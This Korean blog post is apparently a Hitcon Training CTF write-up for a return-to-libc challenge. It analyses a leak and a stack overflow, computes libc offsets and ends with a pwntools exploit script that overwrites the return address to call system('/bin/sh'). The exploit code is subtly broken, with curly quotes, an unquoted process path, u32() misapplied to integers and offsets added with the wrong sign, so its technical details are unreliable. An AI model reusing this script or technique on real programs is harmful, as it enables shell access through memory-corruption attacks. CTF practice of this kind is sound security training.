Lab4. Return To Libc

2020. 12. 9. 00:00문제연습/Hitcon training

반응형

 

 

본 티스토리 블로그는 PC에 최적화되어 있습니다.

모바일 유저분들은 아래 네이버 블로그를 이용해 주세요.

 

 

Lab4. Return To Libc

본 네이버 블로그는 모바일에 최적화되어 있습니다.PC 유저분들은 아래 티스토리 블로그를 이용해 주세요...

blog.naver.com

 

 

이번 문제는 단순한 오버플로에서 몇 가지 보호 기법으로 인해 제약이 걸렸습니다.

어떻게 우회해서 쉘을 따는지 한번 실체를 보도록 하겠습니다.

 

Return to Libc

 

 

1. 문제 파일

바이너리 분석)

일단 파일을 확인해 보니 NX bit, partial RELRO, ASLR이 걸려 있는 듯합니다.

 

앞의 nx bit 때문에 스택 상의 실행 권한이 없으며 aslr 때문에 주소가 계속해서 바뀝니다.

즉, 고정 주소가 아니며 실행될 때마다 함수들의 호출 주소가 달라지기 때문에 기존의 고정 주소 방식을 이용한 쉘 코드 작성이 불가능합니다.

그나마 다행인 것은 라이브러리 c의 실행 권한은 존재하기에 이를 통해 return to libc 공격이 가능할 것으로 추측됩니다.

 

 

소스코드 분석)

소스코드를 천천히 분석하도록 하겠습니다.

 

1. 사용자로부터 임의의 주솟값을 10진수로 입력을 받는다.

2. 포인터를 이용하여 해당 주소에 존재하는 데이터를 화면에 출력한다.

3. 256바이트 크기의 데이터를 buf[48] 저장한 뒤 화면에 출력한다.

 

 

2. 문제 공략

취약점)

1. 임의의 주소에 어떤 데이터가 존재하는지 알아볼 수 있다. (메모리 누수)

2. main 함수에서 Print_message를 호출할 시 메시지를 복사하는 과정이 있는데, 이때 48byte 크기 배열에 256byte를 복사하므로 에러가 발생한다.(오버플로)

이 정보를 활용하여 문제를 풀어야 합니다.

 

일단, 입력된 주솟값을 조회해 보는 함수(=See_something)와 오버플로가 발생하는 함수(=Print_message) 이후에 호출되는 함수를 활용해야 공격을 성공시킬 수 있습니다.

(왜냐하면 그 함수의 got 주소를 통해 우리가 원하는 함수들을 연계 공격할 RTL의 함수 base 주소가 될 것이기 때문입니다.)

 

 

공격 시나리오)

1. systems 함수, "bin/sh"와 puts 함수 간의 격차(= offset)을 구합니다.

2. 오프셋을 이용해 system 함수로 쉘을 따는 코드를 작성합니다.

3. Print_message의 ret 주소를 해당 셸 코드로 덮어 버리면 우리가 원하는 쉘을 실행시킬 수 있습니다.

 

 

각 함수의 offset 계산 과정)

- puts 함수의 got 주소 (기준점)

초기 입력값에 0x80483f0로 가보면 0x804a01c로 점프하는 부분이 존재합니다.

만약 puts 함수가 한번 실행되면 이 부분에 got로 점프하게 될 것입니다.

즉, 0x804a01c를 10진수로 프로그램에 전달한 후 See_something에 의해 출력된 데이터를 받아오면 puts 함수의 got를 구할 수 있습니다.

(put 말고도 다른 함수를 사용 가능합니다. 단, 입력받기 전에 한 번이라도 이미 호출된 적이 있는 함수여야 합니다.)

 

- system 함수의 Offset

gdb로 아무곳에 중단점을 걸고 print puts - system을 입력하면 puts 함수와의 격차를 알 수있습니다.

put-system : 0x2a650

 

- "bin/sh"의 Offset

ldd로 해당 바이너리의 사용 라이브러리를 알아낸 후, 라이브러리에서 bin/sh 문자열을 검색하면 됩니다.

이후 puts 함수와의 offset을 찾으면 끝.

puts - "bin/sh" = 0x7ecc861

 

 

공격 시나리오 정리)

1. puts 함수 호출 주소를 입력하여 출력된 got 주소를 얻는다. (offset을 구하기 위해 기준점을 찾는 과정)

2. read 함수를 이용해 Print_message의 버퍼를 오버플로 시켜서 해당 ret 주소를 쉘 코드로 덮어 씌운다.

 

 

shellcode 작성)

dummy + &system + dummy(4byte) + &"bin/sh"

정확한 dummy 바이트 계산은 다음과 같습니다.

따라서 정확한 쉘 코드는 다음과 같습니다.

 

dummy(56byte) + dummy(sfp 4byte) + &system(4byte) + dummy(4byte) + &"bin/sh" + "\x00"

본격적으로 파이썬 코드를 작성하도록 하겠습니다.

# 파이썬 공격 코드
from pwn import *


puts = “134520860” #0x804a01c을 10진수로 변환한 다음 문자열로 저장.
p = process(./ret2lib)
p.recvuntil("Give me an address (in dec) :")
p.send(puts)
p.recvuntil("The content of the address : ")
puts_got = int(p.recv(10), 16) # 받아온 puts 함수의 got 16진수 문자열을 10진수로 변환.

# puts 함수의 got를 기준으로 오프셋을 더해 원하는 함수의 실제 주소를 구함.
system = u32(puts_got + 0x2a650)
binsh = u32(puts_got + 0x7ecc861)

shellcode = "A"*0x38 + "B"*4 + system + "C"*4 + binsh + “\x00”

p.send(shellcode)
p.interactive()

 

rtl도 막상 코드를 짜보면 별거 없습니다.

단지 함수 주소를 구하는 방법만 다를 뿐, 오버플로를 이용하여 더미 데이터로 ret 전까지 채우고 원하는 함수의 주소를 ret에 덮어 씌운 뒤 인자를 넣어주면 됩니다.

여기서 조금 더 발전된 기법이 chaining입니다.

 

오늘 포스팅은 여기까지입니다.

다음 시간에는 lab5를 풀어 보도록 하겠습니다.

 

반응형